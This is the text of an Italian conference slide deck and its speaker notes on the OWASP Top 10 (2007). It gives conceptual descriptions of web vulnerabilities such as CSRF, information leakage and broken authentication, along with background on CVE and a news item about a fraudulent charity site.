  • 48. Information Leakage and Improper Error Handling Information Leakage e Improper Error Handling si verificano spesso in presenza di Web Application non correttamente sviluppate che consentono l ’ acquisizione d ’ informazioni utilizzabili in un secondo momento da un agente di minaccia per effettuare un attacco mirato all ’ applicazione o al sistema server. Top 10 2007 in dettaglio 6/10
  • 49.
  • 50. Information Leakage and Improper Error Handling Top 10 2007 in dettaglio 6/10
  • 51.
  • 52.
  • 53. Esempio di Information Leakage e Improper Error Hendling Top 10 2007 in dettaglio 6/10
  • 54. Broken Authentication and Session Management Broken Authentication e Session Management sono vulnerabilità riconducibili ad un ’ errata implementazione della gestione delle credenziali di accesso e/o delle chiavi di sessioni che rendono possibili accessi non autorizzati all ’ applicazione tramite l ’ impersonificazione di altre identità vittima. URL Rewriting Top 10 2007 in dettaglio 7/10
  • 55.
  • 56. Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  • 57.
  • 58.
  • 59. Esempio di Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  • 60. Insecure Cryptographic Storage L ’ Insecure Cryptographic Storage è una vulnerabilità causata dalla non corretta conservazione dei dati e dall ’ errata implementazione delle funzioni applicative create allo scopo di proteggere tali informazioni. Top 10 2007 in dettaglio 8/10
  • 61.
  • 62. Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10
  • 63.
  • 64.
  • 65. Esempio di Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10
  • 66. Insecure Communications Le Insecure Communications consentono ad un agente di minaccia di intercettare informazioni come credenziali di accesso e informazioni riservate in transito su canali privi di cifratura (plaintext). Top 10 2007 in dettaglio 9/10
  • 67.
  • 68.
  • 69. Esempio di Insecure Communications Top 10 2007 in dettaglio 9/10
  • 70. Failure to Restrict URL Access Si verifica quando per proteggere aree di una web application non visibili ad utenti non autorizzati si fa affidamento esclusivamente ad un approccio di tipo “ security by obscurity ” poiché si tende a pensare che ciò che non è direttamente visibile non possa essere in alcun modo raggiunto e sfruttato da un agente di minaccia. Top 10 2007 in dettaglio 10/10
  • 71.
  • 72. Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
  • 73.
  • 74.
  • 75. Esempio di Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
  • 76. Domande? Grazie per l ’ attenzione Claudio Di Giovanni [email_address]

Notas del editor

  1. About MITRE The MITRE Corporation is a not-for-profit organization chartered to work in the public interest. As a national resource, we apply our expertise in systems engineering, information technology, operational concepts, and enterprise modernization to address our sponsors&apos; critical needs. MITRE manages three Federally Funded Research and Development Centers (FFRDCs): one for the Department of Defense (known as the DoD Command, Control, Communications and Intelligence FFRDC), one for the Federal Aviation Administration (the Center for Advanced Aviation System Development), and one for the Internal Revenue Service (the Center for Enterprise Modernization). MITRE also has its own independent research and development program that explores new technologies and new uses of technologies to solve our sponsors&apos; problems in the near-term and in the future. Our History http://cve.mitre.org/ CVE® International in scope and free for public use, CVE is a dictionary of publicly known information security vulnerabilities and exposures.CVE&apos;s common identifiers enable data exchange between security products and provide a baseline index point for evaluating coverage of tools and services. Cos ’ è la CVE ? Il progetto Common Vulnerabilities and Exposures (CVE) intende sviluppare una standardizzazione delle denominazioni di tutte le vulnerabilità pubblicamente note e oggi è uno tra i più affidabili e aggiornati sistemi di classificazione delle vulnerabilità. Lo scopo di questa iniziativa è semplificare la ricerca di informazioi attraverso i vari database di vulnerabilità tramite l&apos;utilizzo di codici identificativi standardizzati. Il database di Scan-edge integra lo standard CVE nei risultati della scansione e nelle funzioni di ricerca per parola chiave, per denominazione CVE o candidate (CAN). Come fa una segnalazione a diventare CVE? Il percorso ha inizio con la scoperta di una possibile nuova vulnerabilità. Il CNA (Candidate Numbering Authority) assegna alla vulnerabilità un identificativo CAN (CAN XXXX-YYY) e lo sottopone all&apos;esame dell&apos;Editorial Board, che discute il candidato e tramite votazione accetta, rifiuta o posticipa il suo ingresso nella lista e il suo riconoscimento come vulnerabilità CVE. È possibile che un CAN non passi mai a CVE. In ogni caso qualsiasi decisione in merito deliberata dall&apos;Editorial Board è pubblica e consultabile dal sito CVE. Cosa implica la Dichiarazione di Compatibilità CVE? Dichiararsi CVE Compatibili vuol dire essere in grado di assicurare prima di tutto l&apos;appoggio e la propria collaborazione ad un progetto a livello mondiale; vuol dire poter attingere , e allo stesso tempo contribuire , ad un database costantemente aggiornato e a cui partecipano istituzioni legate al mondo della sicurezza , tra cui società vendor di prodotti di sicurezza, università e centri di ricerca, organi di governo ed esperti del settore. Per l&apos;utente è la possibilità di effettuare ricerche dirette delle vulnerabilità classificate CVE /CAN , e la certezza di trovare il riferimento corrispondente CVE per ogni segnalazione. Perchè la CVE? Standardizzare i codici di riconoscimento delle varie vulnerabilità facilita notevolmente agli utenti la ricerca attraverso database differenti , che come tali usano codici diversi anche per identificare la medesima vulnerabilità. CVE raggruppa tutte le vulnerabilità segnalate dai vari enti preposti e assegna ad ognuna un identificativo CVE . Da questo identificativo è poi semplice risalire alla descrizione e alle soluzioni indicate nei diversi database che interagiscono con quello CVE . CVE consente il dialogo e l&apos;interazione , lo scambio reciproco di informazioni tra differenti database, così da fornire dati sempre più numerosi e attendibili agli utenti. I database dei tool CVE Compatibili offrono una migliore copertura, una diretta operabilità e una maggiore sicurezza. La MITRE Corporation sostiene il progetto CVE e modera le discussioni dell&apos; Editorial Board . CVE è disponibile al pubblico? E dove posso trovare l&apos;ultima versione CVE? CVE è gratutio e disponibile per chiunque sia interessato a confrontare le informazioni messe a disposizione dai vari tools. È possibile RICERCARE le vulnerabilità CVE , SCARICARE la lista completa, copiarla, distribuirla ecc. Di chi è l&apos;iniziativa CVE? Il progetto CVE è il risultato di un&apos;idea del CVE Editorial Board, che comprende le più rappresentative tra le numerose organizzazioni che si occupano di sicurezza informatica, tra cui security vendors, isitituzioni accademiche e governative ed esperti di sicurezza informatica. CVE è un vulnerability database? CVE non è un database di vulnerabilità. CVE è concepito per consentire ai vari database di dialogare tra loro e agli utenti il confronto tra i vari security tools. Per questo CVE non contiene informazioni tecniche dettagliate, che sono già reperibili nei vari database. CVE fornisce un codice standard, una breve descrizione e rimanda alla relativa documentazione. Che vantaggi offre la CVE? CVE offre un codice identificativo standard per ogni vulnerabilità segnalata. Avere a disposizione questo identificativo permette l&apos;accesso rapido e diretto ai dati delle molte fonti di informazioni che hanno aderito all&apos;iniziativa CVE. Cosa vuol dire essere CVE Compatibile? Un Tool è CVE Compatibile se utilizza lo standard CVE consentendo il rimando incrociato ad altri tools che utilizzano la stessa denominazione. Essere CVE Compatibili vuol dire prima di tutto rispondere ad alcuni fondamentali requisiti: CVE SEARCH: la possibilità per gli utenti di effettuare ricerche di vulnerabilità inserendo l&apos;identificativo CVE. CVE OUTPUT: ogni informazione fornita all&apos;utente deve contenere l&apos;esatto riferimento CVE. CVE ACCURACY: conferma l&apos;impegno del fonitore nell&apos;assicurare che le CVE siano correttamente utilizzate (esattezza dei link e dei riferimenti). Come posso ottenere una copia delle CVE? La lista completa CVE è del tutto gratuita e scaricabile dal sito CVE. La lista è disponibile in diversi formati (Html, text, csv). È anche possibile utilizzare la lista CVE per effettuare ricerche di vulnerabilità specifiche, o semplicemente visualizzare l&apos;elenco, sempre a disposizione sul sito.
  2. About MITRE The MITRE Corporation is a not-for-profit organization chartered to work in the public interest. As a national resource, we apply our expertise in systems engineering, information technology, operational concepts, and enterprise modernization to address our sponsors&apos; critical needs. MITRE manages three Federally Funded Research and Development Centers (FFRDCs): one for the Department of Defense (known as the DoD Command, Control, Communications and Intelligence FFRDC), one for the Federal Aviation Administration (the Center for Advanced Aviation System Development), and one for the Internal Revenue Service (the Center for Enterprise Modernization). MITRE also has its own independent research and development program that explores new technologies and new uses of technologies to solve our sponsors&apos; problems in the near-term and in the future. Our History http://cve.mitre.org/ CVE® International in scope and free for public use, CVE is a dictionary of publicly known information security vulnerabilities and exposures.CVE&apos;s common identifiers enable data exchange between security products and provide a baseline index point for evaluating coverage of tools and services. Cos ’ è la CVE ? Il progetto Common Vulnerabilities and Exposures (CVE) intende sviluppare una standardizzazione delle denominazioni di tutte le vulnerabilità pubblicamente note e oggi è uno tra i più affidabili e aggiornati sistemi di classificazione delle vulnerabilità. Lo scopo di questa iniziativa è semplificare la ricerca di informazioi attraverso i vari database di vulnerabilità tramite l&apos;utilizzo di codici identificativi standardizzati. Il database di Scan-edge integra lo standard CVE nei risultati della scansione e nelle funzioni di ricerca per parola chiave, per denominazione CVE o candidate (CAN). Come fa una segnalazione a diventare CVE? Il percorso ha inizio con la scoperta di una possibile nuova vulnerabilità. Il CNA (Candidate Numbering Authority) assegna alla vulnerabilità un identificativo CAN (CAN XXXX-YYY) e lo sottopone all&apos;esame dell&apos;Editorial Board, che discute il candidato e tramite votazione accetta, rifiuta o posticipa il suo ingresso nella lista e il suo riconoscimento come vulnerabilità CVE. È possibile che un CAN non passi mai a CVE. In ogni caso qualsiasi decisione in merito deliberata dall&apos;Editorial Board è pubblica e consultabile dal sito CVE. Cosa implica la Dichiarazione di Compatibilità CVE? Dichiararsi CVE Compatibili vuol dire essere in grado di assicurare prima di tutto l&apos;appoggio e la propria collaborazione ad un progetto a livello mondiale; vuol dire poter attingere , e allo stesso tempo contribuire , ad un database costantemente aggiornato e a cui partecipano istituzioni legate al mondo della sicurezza , tra cui società vendor di prodotti di sicurezza, università e centri di ricerca, organi di governo ed esperti del settore. Per l&apos;utente è la possibilità di effettuare ricerche dirette delle vulnerabilità classificate CVE /CAN , e la certezza di trovare il riferimento corrispondente CVE per ogni segnalazione. Perchè la CVE? Standardizzare i codici di riconoscimento delle varie vulnerabilità facilita notevolmente agli utenti la ricerca attraverso database differenti , che come tali usano codici diversi anche per identificare la medesima vulnerabilità. CVE raggruppa tutte le vulnerabilità segnalate dai vari enti preposti e assegna ad ognuna un identificativo CVE . Da questo identificativo è poi semplice risalire alla descrizione e alle soluzioni indicate nei diversi database che interagiscono con quello CVE . CVE consente il dialogo e l&apos;interazione , lo scambio reciproco di informazioni tra differenti database, così da fornire dati sempre più numerosi e attendibili agli utenti. I database dei tool CVE Compatibili offrono una migliore copertura, una diretta operabilità e una maggiore sicurezza. La MITRE Corporation sostiene il progetto CVE e modera le discussioni dell&apos; Editorial Board . CVE è disponibile al pubblico? E dove posso trovare l&apos;ultima versione CVE? CVE è gratutio e disponibile per chiunque sia interessato a confrontare le informazioni messe a disposizione dai vari tools. È possibile RICERCARE le vulnerabilità CVE , SCARICARE la lista completa, copiarla, distribuirla ecc. Di chi è l&apos;iniziativa CVE? Il progetto CVE è il risultato di un&apos;idea del CVE Editorial Board, che comprende le più rappresentative tra le numerose organizzazioni che si occupano di sicurezza informatica, tra cui security vendors, isitituzioni accademiche e governative ed esperti di sicurezza informatica. CVE è un vulnerability database? CVE non è un database di vulnerabilità. CVE è concepito per consentire ai vari database di dialogare tra loro e agli utenti il confronto tra i vari security tools. Per questo CVE non contiene informazioni tecniche dettagliate, che sono già reperibili nei vari database. CVE fornisce un codice standard, una breve descrizione e rimanda alla relativa documentazione. Che vantaggi offre la CVE? CVE offre un codice identificativo standard per ogni vulnerabilità segnalata. Avere a disposizione questo identificativo permette l&apos;accesso rapido e diretto ai dati delle molte fonti di informazioni che hanno aderito all&apos;iniziativa CVE. Cosa vuol dire essere CVE Compatibile? Un Tool è CVE Compatibile se utilizza lo standard CVE consentendo il rimando incrociato ad altri tools che utilizzano la stessa denominazione. Essere CVE Compatibili vuol dire prima di tutto rispondere ad alcuni fondamentali requisiti: CVE SEARCH: la possibilità per gli utenti di effettuare ricerche di vulnerabilità inserendo l&apos;identificativo CVE. CVE OUTPUT: ogni informazione fornita all&apos;utente deve contenere l&apos;esatto riferimento CVE. CVE ACCURACY: conferma l&apos;impegno del fonitore nell&apos;assicurare che le CVE siano correttamente utilizzate (esattezza dei link e dei riferimenti). Come posso ottenere una copia delle CVE? La lista completa CVE è del tutto gratuita e scaricabile dal sito CVE. La lista è disponibile in diversi formati (Html, text, csv). È anche possibile utilizzare la lista CVE per effettuare ricerche di vulnerabilità specifiche, o semplicemente visualizzare l&apos;elenco, sempre a disposizione sul sito.
  3. Washington Post, NSA, ...
  4. Unicode è un sistema di codifica che assegna un numero univoco ad ogni carattere usato per la scrittura di testi, in maniera indipendente dalla lingua , dalla piattaforma informatica e dal programma utilizzati. Unicode è stato compilato e viene aggiornato e pubblicizzato dal Unicode Consortium [1] , un consorzio internazionale di aziende interessate alla interoperabilità nel trattamento informatico dei testi in lingue diverse. UTF-8 ( U nicode T ransformation F ormat, 8 bit) è una codifica dei caratteri Unicode in sequenze di lunghezza variabile di byte, creata da Rob Pike e Ken Thompson . UTF-8 usa gruppi di byte per rappresentare i caratteri Unicode , ed è particolarmente utile per il trasferimento tramite sistemi di posta elettronica a 8- bit . UTF-8 usa da 1 a 4 byte per rappresentare un carattere Unicode. Per esempio un solo byte è necessario per rappresentare i 128 caratteri dell&apos;alfabeto ASCII , corrispondenti alle posizioni Unicode da U+0000 a U+007F.
  5. (Hibernate-commercial) Object-relational mapping (aka ORM , O/RM , and O/R mapping ) is a programming technique for converting data between incompatible type systems in relational databases and object-oriented programming languages. This creates, in effect, a &amp;quot;virtual object database &amp;quot; which can be used from within the programming language. There are both free and commercial packages available that perform object-relational mapping, although some programmers opt to create their own ORM tools
  6. Problema: Gli hackers possono eseguire da remoto codice arbitrario, installare rootkit, o compromettere completamente un sistema. Qualsiasi tipo di applicazione web che accetta file o nomi di file dall&apos;utente è vulnerabile. Questo genere di vulnerabilità è nota con PHP, il linguaggio di scripting più utilizzato per lo sviluppo delle web application.
  7. Problema: Gli attacchi manipolano i riferimenti diretti agli oggetti per ottenere un accesso non autorizzato ad altri oggetti. Questo accade quando gli URL o i parametri di un form contengono riferimenti ad oggetti come file, directory, record di database, o chiavi.
  8. La truffa legata alle donazioni per le popolazioni colpite dallo Tsunami continua e nelle ultime ore si arricchisce di un nuovo espediente: la conquista di una posizione di vertice nel ranking Google per ottenere in modo fraudolento soldi destinati alla beneficienza. Il misfatto è relativo al sito internet della China Charity Federation , l&apos;organo preposto ad organizzare, gestire ed inviare i fondi raccolti per aiutare le popolazioni bisognose. Il sito è raggiungibile all&apos;indirizzo www.chinacharity.cn, ma si segnala la registrazione di un altro sito con url molto simile e finalità ben diversa: www.chinacharity.cn.net. Quest&apos;ultimo tenta di defraudare agli utenti le somme destinate alla beneficienza falsificando l&apos;accesso al sito ufficiale dell&apos;associazione e convogliando gli introiti verso gli anonimi responsabili dell&apos;azione truffaldina. Per rendere il tutto maggiormente credibile, inoltre, il sito-truffa è stato fatto oggetto di un&apos;azione definita Google bombing e destinata a far crescere il sito nel ranking di Google: così facendo il sito falso ha superato nei risultati delle ricerche il sito ufficiale garantendosi la sicurezza degli utenti pronti alle donazioni. Il Google bombing ha preso forma linkando www.chinacharity.cn.net tramite le parole &amp;quot;The China Charity Federation&amp;quot;: così facendo il risultato della query è stato abilmente manipolato e la fiducia che gli utenti hanno riposto nel ranking è stata raggirata. Nel momento in cui il presente articolo viene pubblicato il ranking Google conferma quanto emerso, e la query &amp;quot;The China Charity Federation&amp;quot; restituisce ancora in prima posizione il sito fraudolento. L&apos;url non risulta più essere, però, raggiungibile . Il misfatto va a sommarsi ad altri casi di virus e spam sorti (triste analogia) sull&apos;onda mediatica sollevata dallo tsunami di S.Stefano.
  9. Problema: “ Semplice e devastante ” , questo attacco prende il controllo del browser della vittima quando è loggato su un sito web, ed invia delle richieste malevoli alla web application. I siti web sono estremamente vulnerabili, principalmente perchè tendono ad autorizzare le richieste in base al cookie di sessione o alla funzionalità “ ricorda la password ” . Le banche in particolare rappresentano dei potenziali target. This vulnerability is extremely widespread, as any web application that Has no authorization checks for vulnerable actions Will process an action if a default login is able to be given in the request (e.g. http://www.example.com/admin/doSomething.ctl?username=admin&amp;passwd=admin) Authorizes requests based only on credentials that are automatically submitted such as the session cookie if currently logged into the application, or “ Remember me ” functionality if not logged into the application, or a Kerberos token if part of an Intranet participating in integrated logon with Active Directory “ Il 99 per cento delle applicazioni sono vulnerabili a questo tipo di attacchi. C&apos;è stato un exploit reale che ha causato a qualcuno delle perdite di denaro? Probabilmente le banche non ne sono neanche a conoscenza. Per la banca ogni richiesta risulta essere una transazione legittima eseguite da un utente loggato ”
  10. Problema: I messaggi di errore che le applicazioni generano e visualizzano agli utenti spesso sono utili agli hackers per violare la privacy o per conoscere la configurazione del programma e le sue caratteristiche interne.
  11. Wikipedia: A stack trace (also called stack backtrace or stack traceback ) is a report of the active stack frames instantiated by the execution of a program. Although stack traces may be generated anywhere within a program, they are mostly used to aid debugging by showing where exactly an error occurs. The last few stack frames often indicate the origin of the bug.
  12. Problema: E&apos; possibile ottenere il controllo degli account utente/amministrativi quando le applicazioni non proteggono adeguatamente dall&apos; inizio alla fine le credenziali e le variabili di sessione. Ciò porta a violazioni della privacy e compromette i controlli sulle autorizzazioni e le responsabilità. “ Le cause principali nel meccanismo di autenticazione non sono rare, ma le vulnerabilità sono sempre più spesso introdotte attraverso funzionalità accessorie come il logout, la gestione delle password, il timeout, la funzione “ ricorda la password ” , la domanda segreta, e l&apos;aggiornamento degli account ” .
  13. Problema: Molti sviluppatori web non salvano in forma criptata i dati sensibili, malgrado la crittografia debba essere un elemento chiave delle maggior parte delle web application. Anche quando viene utilizzata la crittografia, spesso questa non viene progettata adeguatamente, utilizzando delle cifrature inadeguate. Come riportato da OWASP: “ Queste falle possono portare alla divulgazione di dati sensibili e alla violazione di conformità ” .
  14. Problema: Simile alla precedente vulnerabilità (Insecure Criptographic Storage), questo caso riguarda il mancato utilizzo della crittografia del traffico di rete nei casi in cui è necessario proteggere le comunicazioni sensibili. Gli attaccanti possono accedere a conversazioni non protette, incluse la trasmissione delle credenziali e le informazioni riservate. Per questa ragione, gli standard PCI richiedono che le informazione relative alle carte di credito vengano criptate quando sono trasmesse sulla Rete.
  15. Utilizzare un protocollo di crittografia a livello di trasporto per proteggere le comunicazioni tra le parti dell ’ infrastruttura, come web server e il DBMS.
  16. Problema: Alcune pagine web dovrebbero essere ristrette ad una piccola cerchia di utenti privilegiati, come gli amministratori. Molto spesso non c&apos;è una protezione reale per queste pagine, il cui URL solitamente comprende un numero ID che può essere facilmente trovato mediante tecniche di brute forcing.